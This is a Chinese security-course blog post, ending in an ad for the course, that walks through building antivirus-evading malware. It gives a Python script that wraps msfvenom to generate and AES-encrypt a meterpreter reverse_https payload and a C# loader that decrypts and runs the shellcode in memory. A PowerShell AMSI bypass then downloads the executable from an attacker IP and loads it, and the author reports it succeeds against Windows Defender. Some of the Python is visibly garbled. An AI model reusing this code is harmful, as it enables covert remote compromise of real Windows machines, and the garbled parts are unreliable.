安全学习方法 之 上手测试以《Bypass Shellcode-Encryptor》为例

文章来源|MS08067 Web漏洞挖掘班 第3期

本文作者:Cream(web漏洞挖掘班讲师)

很多人在学习的过程有这样的习惯,将看到的文章收藏起来或者朋友圈转发。

收藏即学习?转发即学会?

当然还是有很多小伙伴会仔细阅读并加以实操研究。学习安全最为重要的就是动手操作,APP漏洞挖掘不上手测试永远学不会,代码不上手敲你永远不知道自己的水平(很菜的那种!),免杀不在实际环境中测试就不清楚它到底能否免杀等等。

总之,实践是检验真理的唯一标准。

每个人都有自己的学习方法,每看到一篇技术文章和大咖体验陈述,我们最好的学习心态是知其然还要知其所以然。这些文章水平有高低之别,对自己是否有帮助因人而异,学习的过程和结果才是最重要的吧。

下面就简单描述自己在学习一篇文章的时所测试基本步骤和思考。(水平有限,见谅)

12月28日Khan安全实验室出了一篇文章《Bypass Shellcode - Encryptor》,最近一直复现和研究各种免杀技术,随即拿过来研究。如有侵权,请告知,感谢。

文中大致思路是利用meterpreter_encryptor.py生成密钥和shellcode,并将插入C#代码中,编译后就可以得到免杀马。

原文链接:

https://mp.weixin.qq.com/s/kGwK4wTOtvlt2W0efXmkiw

其中meterpreter_encryptor.py代码如下:

#!/usr/bin/env python3
import array, base64, random, string
from Crypto.Cipher import AES
from hashlib import sha256
import argparse, subprocess,
os
def main():
  args = parse_args()
  lhost = args.
  lport lhost= args.
  key lport= args.
  keyif not key:
    key = get_random_string(32)
  payload = args.
  method payload= args.
  methodformat = args.format
 
''' generate msfvenom payload '''
  print("[+] Generating MSFVENOM payload...")
  result = subprocess.run(['msfvenom',
    '-p', payload,
    'LPORT=' + lport,
    'LHOST=' + lhost,
#    '-b', '\\x00',
    '-f', 'raw',
    '-o', './msf.bin'],
    capture_output=False)
  f
= open("./msf.bin", "rb")
  buf = f.read()
  f.close()
 
print("[+] key and payload will be written to key.b64 and payload.b64")
 
''' encrypt the payload '''
  print("[+] Encrypting the payload, key=" + key + "...")
  hkey = hash_key(key)
  encrypted = encrypt(hkey, hkey[:16], buf)
  b64 = base64.b64encode(encrypted)
  f
= open("./key.b64", "w")
  f.write(key)
  f.close()
  f
= open("./payload.b64", "w")
  f.write(b64.decode('utf-8'))
  f.close()
 
if format == "b64":
    ''' base64 output '''
    print("[+] Base64 output:")
    print(b64.decode('utf-8'))
    print("\n[+] Have a nice day!")
    return
  if format == "c":
    ''' c output '''
    print("[+] C output:")
    hex_string = 'unsigned char payload[] ={0x';
    hex = '0x'.join('{:02x},'.format(x) for x in encrypted)
    hex_string = hex_string + hex[:-1] + "};"
    print(hex_string)
    print("\n[+] Have a nice day!")
    return


def encrypt(key,iv,plaintext):
  key_length = len(key)
  if (key_length >= 32):
    k = key[:32]
  elif (key_length >= 24):
    k = key[:24]
  else:
    k = key[:16]
  aes
= AES.new(k, AES.MODE_CBC, iv)
  pad_text = pad(plaintext, 16)
  return aes.encrypt(pad_text)


def hash_key(key):
  h = ''
  for c in key:
    h += hex(ord(c)).replace("0x", "")
  h = bytes.fromhex(h)
  hashed = sha256(h).digest()
  return
hashed
def pad(data, block_size):
  padding_size = (block_size - len(data)) %
   block_sizeif padding_size == 0:
    padding_size =
  padding  block_size= (bytes([padding_size]) * padding_size)
  return data +
padding
def parse_args():
  parser = argparse.ArgumentParser()
  parser
.add_argument("-l", "--lport", default="0.0.0.0", type=str,
    help="The local port that msfconsole is listening on.")
  parser.add_argument("-i", "--lhost", default="443", type=str,
      help="The local host that msfconsole is listening on.")
  parser.add_argument("-p", "--payload", default = "windows/x64/meterpreter/reverse_https", type=str,
    help="The payload to generate in msfvenom.")
  parser.add_argument("-m", "--method", default="thread", type=str,
    help="The method to use: thread/delegate.")
  parser.add_argument("-k", "--key", default="", type=str,
    help="The encryption key (32 chars).")
  parser


.add_argument("-f", "--format", default="b64", type=str,
    help="The format to output.")
 
return parser.parse_args()


def get_random_string(length):
  letters = string.ascii_letters + string.
  result_str digits= ''.join(random.choice(letters) for i in range(length))
  return
result_str
if __name__ == '__main__':
  main()

使用方法:

meterpreter_encryptor.py [-h] [-l LPORT] [-i LHOST] [-p PAYLOAD] [-m METHOD] [-k KEY] [-f FORMAT]

-h帮助信息;

-i 会话反弹到哪个地方,攻击机的IP;

-l会话反弹到哪个端口,攻击者的port,不要冲突;

-p 使用的MSF的payload;

-m 执行shellcode后的操作,有thread/delegate;

-k 32 chars的key,可以不用设置,可以随机生成;

-e 编码方式,参考msfvenom的方法;

-f生成的payload类型。

python3 meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.11.2 -l 443 -f b64

6322719785c5c746c97ed8f3d9b57a63.png

复制如上生成的key和base64结果放在如下的C#代码中编译生成EXE文件:

using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.IO;
namespace
ProcessInjection
{
    class Program
    {
        public enum Protection
        {
            PAGE_NOACCESS = 0x01,
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_WRITECOPY = 0x08,
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_EXECUTE_WRITECOPY = 0x80,
            PAGE_GUARD = 0x100,
            PAGE_NOCACHE = 0x200,
            PAGE_WRITECOMBINE = 0x400
        }
       
[DllImport("kernel32.dll")]
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
       
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
       
private delegate Int32 ShellcodeDelegate();
       
static void Main(string[] args)
        {
            Shellcode();
        }
       
static void Shellcode()
        {
            // attempt heuristics/behaviour bypass
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
            if (mem == null)
            {
                return;
            }
           
// decrypt the base64 payload - change these to your own encrypted payload and key
            string payload = "6LII6OYoVux8aZ+bY/9SiwDKLvHDFMSQYnr21YRAEe5m6rEjKxqnqHrjpp7X6XZBbrQcwqLnK7K4lXE1xv7PkLP0zPbQujfUxRDlMOKmvoH4DJySgcbBTwGvIey/4EIV4UZY6NCRSu1BVl9ztwAiSltAdoXt68JPFvm4W/V58crjsD8L2InuEmTf7QaGx43CbfBQPsG11KI0ExWpBQ9bdFaTQR1A8CPbLJ+Lx1gjJyDEKoOORrdP+iKdVRgox8kWqUlvEKOg90XienikjaZpeq4npmtg5Cwe0CMBkX688PFxFYtW32up38oFQAUIJ02mhKSHJMqUKbmZ/CHdoh5Vaheuq0XONzmYJ6H4tklqyeET8AszkrwxDebyPDpqnTjuCM4Gamynk0HAn5N2rH4S1KvrTKSTr7kTOa0okDPaYr9cIHtFbYmWW9wgDixkfkiJxD/Kx98F/urzgmnoxxSHKwVPUGQNqJ1vzB04gE0mPLJy1TyaNzgLxvIJRKLHDmpExH2Hd0ieCA8kp2Qwf6yVrM2aeFxChoDEVsHAB97E63O2eM1i+uFmSsR4Ti5P69WfvRinUb6VRLELQLdyg3BKlipcJiabchviL53J9Adqea3P4pAjtjbEELd1mMIA++dxhihcNDZ6zPPswv+M10DyWExWTc1NxJzUFogNYrhj/BumwMR95LA5m4wl8JvVUCGc0OCLPaMUHhdenCJwwFtBrW87lePC9BzFgxJ8gS5eSUF1CMp3hjBdSIE4fp/TQShNrxwrQWXt4gZKcqTkAnt3pdfFE7qkoF8YWormRMxCdVaofwtjow3hJB8+iW01puVl/5GIspKz0ligMoZUnxCRvY/kiqng3z21iO6LrFO2em5ts7/Oh6H4wUaAHFw+/L7/EEN+fR7stKR+kPHsholU5SU/ofCxyGWIvWno647MyNXxRZvbOdIxTLz2c0mJzV+sAiVXDK+B3GbNw6vjQFNHtI2LwW2Fm/uaUyt8qm1zQIJjZi210RTIr9l31nlcwrtH36YhnW/oQcBLBANbmT+MwYMEaU+gCr2Gi+vMmTE828GWwYbJ5rBR4gGT7eP1WP6i";
//这里是生成的payload
            string key = "vzj2WM9NY3oQ4U1KOJF7o15rXdj3YxNn";
//这里是生成的key
            byte[] buf = Decrypt(key, payload);
           
            unsafe
{
                fixed (byte* ptr = buf)
                {
                    // set the memory as executable and execute the function pointer (as a delegate)
                    IntPtr memoryAddress = (IntPtr)ptr;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);
                   
ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));
                    func();
                }
            }
        }
       
private static byte[] Decrypt(string key, string aes_base64)
        {
            byte[] tempKey = Encoding.ASCII.GetBytes(key);
            tempKey = SHA256.Create().ComputeHash(tempKey);
            byte
[] data = Convert.FromBase64String(aes_base64);
           
// decrypt data
            Aes aes = new AesManaged();
            aes.Mode = CipherMode.CBC;
            aes.Padding = PaddingMode.PKCS7;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));
           
using (MemoryStream msDecrypt = new MemoryStream())
            {
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))
                {
                    csDecrypt
.Write(data, 0, data.Length);
                   
return msDecrypt.ToArray();
                }
            }
        }
       
static byte[] SubArray(byte[] a, int length)
        {
            byte[] b = new byte[length];
            for (int i = 0; i < length; i++)
            {
                b[i] = a[i];
            }
            return b;
        }
    }
}

e803cd764af66ed15283073a2aa9ba97.png

注意:unsafe代码会报错,需要在VS中设置“允许unsafe”代码。

4cc5bb3773be6b8a8d9897fd19e48c4c.png

编译成功后就可以生成demo.exe

eff5c7ccc747228ee579f0304472a0c3.png

该demo.exe便是免杀的。可尝试线上测试,效果如下:

00d82b25460f13911658f588a0a132d7.png

5465c23e91ae6baf4b1b76671e919389.png

将该demo.exe注入到远程powershell进程:

# AMSI bypass
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true)
$bytes = (Invoke-WebRequest "http://192.168.11.2/demo.exe").Content;
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPointMethod = $assembly.GetType('ProcessInjection.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic');
$entryPointMethod.Invoke($null, (, [string[]] ('', '')));

在开启防护的Windows10中执行。

19d918aac6ae82bf9f6f22d5f31c4f5f.png

059dd64fb8b1d59895f3f0594aad0c49.png

最后能成功上线:

438cca7afa2291b563e9eb810c1f3115.png

另外:系统中Denfender是实时开启状态。

Cream老师主讲的 Web漏洞挖掘第3期

1.27 开班报名中~

第三期,主要突出了学员最关心的“实战打靶”练习,第三期我们新增加了快速打点方法+脚本思路、打靶机模拟实战等内容,并配备了专门的“实战靶场”以供同学们练习!

最新课程目录3.0版

ab0e9e9c03c52cb3c7f768f059fa49fd.png

*大纲仅作为参考,会根据当期进度有所变化(加客服获取高清课程导图)

课程费用

每期班定价2499新年价:1999前30名送399元Web安全知识星球名额

每个报名学员都可享受一次后续任意一期课免费重听权益,一次没学懂就再来一遍,后续培训可任选一期来听。请有意参加培训的学员抓紧报名!

凡是MS08067旗下任意星球学员或其他培训课程学员,可享内部VIP价1799

支持支付宝、信用卡、花呗分期,对公转账,可开发票!

知识星球是什么

第二期班部分学员作业

越权漏洞实战之从越权到越轨

fastjson-cnvd-2017-02833漏洞复现

CVE-2020-2551攻击实录

逆向漏洞POC 一条龙

泛微 e-office v9.0任意文件上传漏洞(CNVD-2021-49104)

聊一聊我是如何学习网络安全的(入门阶段)

使用burp插件captcha-killer识别图片验证码(跳坑记)

Grafana 任意文件读取漏洞

上课时间

开课时间1月27号,每周二天课,共8周21节课(42小时)
周四:19:30-21:30
周六:14:00-18:00
如果无法准时参加直播课程,在线培训的每节课程都会被录制成视频上传到学员区,可随时下载观看。

上课方式

培训采用在线直播+随堂录播+配套教材+配套星球+课后作业的形式,无需等待,报名后立即进入“Web安全”星球开始预习。
 6433a063865b6acaf19700702a1e6220.png

    你距离大佬,只差一个决定       

报名咨询请联系小客服

扫描下方二维码加入星球学习

加入后邀请你进入内部微信群,内部微信群永久有效!

67218835cb0239a74f348f000f6d4e29.png 240e9f7d49f442e3014d47f0fc18bbf0.png

66e98dd3d4e3f07bed21d11aff70b231.png6e303fea279967a852db5c81fce4587b.png

b2d793d81e37e54377ed4fafaa83bab0.png aecfb8aa63769c72b6ca07eb8778a0da.png

来和5000+位同学一起加入星球学习吧!

586cb799736970ad7fb831976d833f57.gif

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值